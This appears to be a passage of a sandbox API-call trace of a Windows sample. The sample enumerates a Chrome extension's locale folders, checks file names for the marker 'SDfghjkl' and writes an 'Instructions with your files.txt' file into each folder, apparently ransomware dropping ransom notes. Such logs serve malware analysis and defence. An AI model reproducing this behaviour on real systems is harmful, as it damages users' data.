[0129.752] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\nl\\.") returned 143
[0129.752] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f2e100, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f54260, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f54260, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.752] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\nl\\..") returned 144
[0129.752] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85f54260, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f54260, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.752] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\nl\\messages.json") returned 155
[0129.753] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.753] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85f54260, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f54260, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.753] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\nl\\Instructions with your files.txt") returned 174
[0129.753] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\nl\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\nl\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.753] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.754] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.754] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.754] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.754] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.754] CloseHandle (hObject=0x134) returned 1
[0129.755] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.755] GetProcessHeap () returned 0x810000
[0129.755] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.755] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f54260, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f54260, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f54260, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="no", cAlternateFileName="")) returned 1
[0129.755] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\no") returned 141
[0129.755] GetProcessHeap () returned 0x810000
[0129.755] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.755] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\no\\*") returned 143
[0129.755] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\no\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f54260, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f54260, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f54260, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.755] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\no\\.") returned 143
[0129.755] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f54260, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f54260, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f54260, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.755] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\no\\..") returned 144
[0129.755] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85f54260, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f54260, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x47d5c900, ftLastWriteTime.dwHighDateTime=0x1d1781e, nFileSizeHigh=0x0, nFileSizeLow=0x96, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.755] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\no\\messages.json") returned 155
[0129.755] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.755] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85f54260, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f54260, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x47d5c900, ftLastWriteTime.dwHighDateTime=0x1d1781e, nFileSizeHigh=0x0, nFileSizeLow=0x96, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.755] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\no\\Instructions with your files.txt") returned 174
[0129.755] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\no\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\no\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.756] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.757] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.757] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.757] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.757] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.757] CloseHandle (hObject=0x134) returned 1
[0129.757] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.757] GetProcessHeap () returned 0x810000
[0129.757] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.757] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f54260, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f54260, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f54260, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl", cAlternateFileName="")) returned 1
[0129.757] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pl") returned 141
[0129.757] GetProcessHeap () returned 0x810000
[0129.757] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.757] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pl\\*") returned 143
[0129.757] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pl\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f54260, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f54260, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f54260, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.758] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pl\\.") returned 143
[0129.758] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f54260, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f54260, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f54260, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.758] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pl\\..") returned 144
[0129.758] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85f54260, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f54260, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.758] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pl\\messages.json") returned 155
[0129.758] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.758] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85f54260, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f54260, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.758] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pl\\Instructions with your files.txt") returned 174
[0129.758] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pl\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pl\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.759] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.760] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.760] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.760] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.760] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.760] CloseHandle (hObject=0x134) returned 1
[0129.760] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.760] GetProcessHeap () returned 0x810000
[0129.760] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.760] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f54260, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f54260, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f54260, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt_BR", cAlternateFileName="")) returned 1
[0129.760] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_BR") returned 144
[0129.760] GetProcessHeap () returned 0x810000
[0129.760] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.760] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_BR\\*") returned 146
[0129.760] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_BR\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f54260, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f54260, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f54260, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.761] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_BR\\.") returned 146
[0129.761] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f54260, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f54260, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f54260, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.761] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_BR\\..") returned 147
[0129.761] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85f54260, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f54260, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xbb, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.761] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_BR\\messages.json") returned 158
[0129.761] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.761] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85f54260, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f54260, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xbb, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.761] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_BR\\Instructions with your files.txt") returned 177
[0129.761] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_BR\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_br\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.761] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.762] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
